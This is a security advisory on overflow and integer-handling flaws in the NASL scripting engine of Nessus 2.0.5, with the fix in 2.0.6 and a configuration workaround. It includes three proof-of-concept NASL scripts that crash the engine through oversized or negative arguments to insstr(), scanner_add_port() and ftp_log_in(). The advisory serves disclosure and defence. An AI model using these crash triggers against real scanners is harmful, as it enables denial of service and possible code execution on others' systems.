‘Nessus NASL Scripting Engine Security Issues’

Summary

‘The ‘Nessus’ Project aims to ‘provide to the internet community a free, powerful, up-to-date and easy to use remote security scanner. Nessus is very fast, reliable and has a modular architecture that allows you to fit it to your needs’. Multiple vulnerabilities have been found in the product’s NASL language allowing attackers that are able to upload NASL scripts to the server, to cause the server to execute arbitrary code by overflowing internal buffers.’

Credit:

‘The information has been provided by Sir Mordred .’


Details

Vulnerable systems:
 * NASL version 2.0.5

Immune systems:
 * NASL version 2.0.6

Several vulnerabilities have been found in NASL scripting engine. To exploit these flaws, an attacker would need to have a valid Nessus account as well as the ability to upload arbitrary Nessus plugins in the Nessus server (this option is disabled by default) or he/she would need to trick a user somehow into running a specially crafted NASL script.

Not that these issues cannot be exploited by a tested host to crash nessusd remotely.

Integer handling vulnerability in insstr() function
Vulnerability is triggered by a negative fourth argument:

$ cat t1.nasl
insstr(‘aaaaaaaaaaa’, ‘bb’, 3, 0xfffffffd);

$ nasl t1.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
[1384](t1.nasl) insstr: warning! 1st index 3 greater than 2nd index -3
Segmentation fault (core dumped)

Buffer overflow in scanner_add_port() function
Overflow is triggered by very long ‘proto’ argument:

$ cat t2.nasl
scanner_add_port(port : 80, proto : crap(data:’A’, length:300));

$ nasl t2.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)

Buffer overflow in ftp_log_in() function
Overflow is triggered by very long ‘user’/’pass’ arguments:

$ cat t3.nasl
ftp_log_in(socket : open_sock_tcp(21), pass : ’11’, user:
crap(data:’A’,length:8192));

$ nasl t3.nasl
** WARNING : packet forgery will not work
** as NASL is not running as root
Segmentation fault (core dumped)

Vendor status:
New nessus 2.0.6 packages fixes these issues.

Workaround:
Make sure the option ‘plugins_upload’ is set to ‘no’ in nessusd.conf and do not run untrusted nasl scripts.’

Categories: UNIX